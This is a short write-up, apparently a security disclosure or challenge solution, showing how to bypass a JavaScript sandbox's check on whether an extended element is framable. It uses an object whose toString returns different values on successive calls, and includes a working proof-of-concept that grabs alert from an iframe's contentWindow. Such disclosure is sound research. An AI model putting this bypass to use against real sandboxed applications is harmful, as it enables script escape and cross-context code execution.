The code for checking if the extended element is framable doesn't make sure that the value is a string (alternatively; that the value checked is the same value that is forwarded):
const extend = options.extends;
if (isTagFramable(extend+'')) {
We can use a class that will return different toString return values to bypass the check (return "non-frame" first time, return frame second+ time). We can then use connectedCallback to get hold of the alert function from the extended iframe before its "poisoned":
class a extends HTMLIFrameElement {
constructor() {
super();
}
connectedCallback() {
this.contentWindow.alert(1);
}
}
customElements.define(`x-foo`, a, {extends: new class b{fetched=false;toString=e=>{return this.fetched?'iframe':this.fetched=true}}});
document.documentElement.innerHTML += `<iframe is="x-foo"></iframe>`;
The code for checking if the extended element is framable doesn't make sure that the value is a string (alternatively; that the value checked is the same value that is forwarded):
We can use a class that will return different
toStringreturn values to bypass the check (return "non-frame" first time, return frame second+ time). We can then useconnectedCallbackto get hold of the alert function from the extended iframe before its "poisoned":